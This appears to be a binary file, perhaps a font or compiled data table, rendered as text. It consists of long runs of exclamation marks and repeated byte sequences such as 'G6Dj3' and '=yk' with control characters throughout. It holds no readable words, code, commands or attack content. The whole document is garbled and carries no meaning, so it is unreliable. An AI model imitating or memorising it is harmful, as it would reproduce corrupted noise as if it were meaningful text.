!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\@$x|`zK
{L I:
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`yK$|E (gig`]sheEsheEsheEsheEsh;Psh9Ush,lesh,lesh,leid]id]iiMiq	i>i+\i+\iHaiHaiHaiHaiHaiHaiHaiHaiHa	iHa
iHaiHaiHa
iHaiHaiHaiHaiHaiHaiHaiHaiHaiHaiHaiHaXjikiMkq	kHakHakHakwdkwd(lHa(lHaMmjJMm+\Mm+\Mm+\Mm+\Mmȃc<qn+\<qn+\<qnȃc<qnȃc<qnȃc<qnȃc<qnȃc<qnȃc<qnȃc<qnȃc	<qnȃc
<qnȃc<qnȃc<qnȃc
<qnȃc<qnȃc<qnȃc<qnȃc<qnȃc<qnȃc<qnȃc<qnMmuoiMuo&nuo+\uo+\uod]uoȃcuoȃcuoȃcuoȃcuoȃc
uoȃcuoȃcuoȃc
uoȃcuoȃcuoȃcuoȃcuoȃch`]hzhzhzhzhzhzhzhzhz
h\h\h\h\h\h\i׶l\i`]ie!ie!ie!.ֺj׶l\.ֺj`].ֺje!.ֺje!.ֺje!gk׶l\gk`]gke!gke!gke!l׶l\l`]le!le!le!lw!lw!l\l\Bm]($Bm]($Bm]($gn]($gn]($gn]($Ko]($Ko]($h<bhahrWhrWhrWhrW	h@[Yh@[Yh@[Yh@[Yh@[Yh@[Yh@[Yh@[Yh@[Y
h@[Yh@[Yh@[Y˧irW˧irW˧irW
˧i@[Y˧i@[Y˧i@[Y!Jo=yk!Jo=yk!Jo=yk!Jo=yk!Jo=yk!Jo=yk!Jo=yk	!Jo=yk
!Jo=yk!Jo=yk!Jo=yk
!JoN]?	!JoN]?	!JoN]?	!JoAD!JoADR!neR!neR!neR!neR!neR!neR!nPjvoPjvoPjvoPjvoPjvoPjvoPj"l>o3h"l>o3h"l>o3h"l>o3h"l>o3h"l>o3h"l>o3h"l>o3h	[$l9I=[$lvM`[$lvM`[$lHHmvM`HmvM`HmvM`HmvM`HmvM`HmHln>o3hln>o3hln>o3hln>o3hln>o3hln>o3hln>o3h	lnvM`lnH!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!




p
T
8


				t	X	<	 	< hL0dH,|pT8	x\@$|`D(`D(tdH,x< X|\@$x\@$hL0
`D(
d



lP4pT8tX< H
,

lPxlP4hL0Xt4pT8\@$|`yKd}J,=yeE=yeE=yF=yF=y~H=y~H=y~H=y~H=y~H=y~H=y~H=y~H=y~H	=y~H
=y~H	sy&m1	sy&m1	sy&m1	sy&m1	sy&m1	sy&m1	sy&m1	syq	syJr#2zHa#2zHa#2zwd#2zwd#2zwd=zy!H&{Ha!H&{Ha!H&{wd!H&{wdKR[{&m1KR[{&m1KR[{&m1KR[{&m1KR[{_2KR[{_2KR[{3KR[{3KR[{C"6KR[{C"6KR[{C"6KR[{C"6KR[{2
mKR[{f{nKR[{.gz0b{'0b{'0b{~<0b{~<0b{~<0b{~<0b{%X0b{Ko0b{h@DtvO|&m1vO|&m1vO|&m1vO|&m1vO|&m1vO|&m1vO|_2vO|_2vO|qvO|0svO|TtvO|KR[{i|w!i|w!i|\i|\i|e!i|e!i|e!i|'i|'i|'i|'i|'i|'i|'i|'i|'	i|'
i|'i|'i|aV/8i|aV/8i|aV/8i|aV/8i|aV/8i|~<i|~<C}&m1C}&m1C}q7~&m17~&m17~37~37~q7~Jr7~Tt~9~9~9~9~9~9~9	~9
~9~9~9
~9~AD~AD~AD~AD~AD~AD~AD~eE~d]~ȃc~ȃc/+4/+4/+4/+f{n/+q/+xu}'}'}'}i|}%X}~<}~<}~<}h@Dt}Ko~'~'~i|~h@Dt~}%XyKoy=yky=yky=yky=yky=yk3zZ>p3zZ>p3zZ>pX{=ykX{=ykX{=ykX{=ykX{=ykX{=ykX{=ykX{=ykX{=yk	X{=yk
X{=ykX{=ykX{=yk
X{=ykX{=yk?||=yk?||=ykx}Z>px}Z>px}Z>pČ~Z>pČ~Z>p=yk=yk=yk=yk=ykjyPjjyPjyRzixyRzixCF{ixCF{ixCF{Hg:|ixg:|ixg:|H$.}ix$.}ix$.}H]"~$.}]"~g:|]"~CF{]"~HyRzyRzOz\1iOz\1i9{#R9{ҕ;9{ҕ;9{ҕ;9{ҕ;9{ҕ;	9{
B79{
9{
9{E9{5|#R|W|(C|(C|(C|9'|EY|SN|+\|+\|+\|GO|B|>0|ĄX9|`d8|0X|]||@3}(C3}(C3}(C3}+\3}+\3}+\3}GOl~!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Hd|`D(




d
H
,

hL0tX<H,lP4\x,x \@$

$@LlP0p4h


p
T
8


				t	X	<	 		x\@$|`D(dH,hL0lP4hL0lP4|`<tXT8D(pT8 pT8tX< x\@$|`IpK~M\}34HADHADHd]Hd]JrlXN]?	lXN]?	lXN]?	lXN]?	lX;PlX34|N]?	|N]?	|X|XBNdSNBNd>0BNdĄX9BNd@BNdq{rXW{rXW{rXW{rX
{rX
{rX
{rX
{rX
{rX
{rX
	{rX

{rX
{rX
{rX

{rX
{rX
{rX4{rX4{rXqmRmRmRmR)z)z9'^'^	c	'^	c	'^	c	'^	c	'^	c	'^	c	``	c	`	c	`	c	`	c	`	c	`	c	/////////	/3/3SSSSSSSS36x6x6x	I/
I;IS{IS{IS{IS{IS{IS{IS{IS{IS{	IS{
IS{IS{IS{
nx|*6nx|*6nx|*6nx|*6nx|*6nx|*6nx|*6nx|*6nx|*6	nx|*6
nx|*6nx|*6nx/
nx;uZPiZPiZPiZ
^
^
^
^
^
^
^
^
^	
^

^
^
^
1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	UFN]?	UFN]?	UFlX4z:N]?	4z:N]?	4z:N]?	4z:0XBNdSNBNd>0BNdĄX9BNd@BNdq{rXW{rXW{rXW{rX
{rX
{rX
{rX
{rX
{rX
{rX
	{rX

{rX
{rX
{rX

{rX
{rX
{rX4{rX4{rXqLAL)?KL)?KL)?K@W@W@L:@
@
@
@
@
@

@
@
@

@
@
@ĄX9@L@|@|	@BNd&4W&4W&4W&4	*p&44&44&4@&4|&4|&4|&4|&4|&4|&4|
&4|&4q_)
_)
_)
_)	*p_)|_)|!=yk!=yk!=yk!Z>p!Z>p!Z>p'%"=yk'%"=yk'%"=yk'%"!'%"''%"''%"''%"''%"''%"''%"''%"'	'%"'
`I#'%"`I#'%"m$=ykm$=ykm$=ykm$'m$'m$'m$'m$'m$'m$'m$'m$'	ґ%=ykґ%=ykґ%=ykґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%`I#ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'	&`I#&'&'mRmRmRmR)z)z9'^'^	c	'^	c	'^	c	'^	c	'^	c	'^	c	L0HdX	<	 	hL0lP4lP4pT8,	x\@x\@$




p
T
8


				t	 tX<|h$|`D(`!K L Q5I952AD52AD52AD52^52^52^52^Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'	Dj3'
Dj3'Dj3'Dj3'
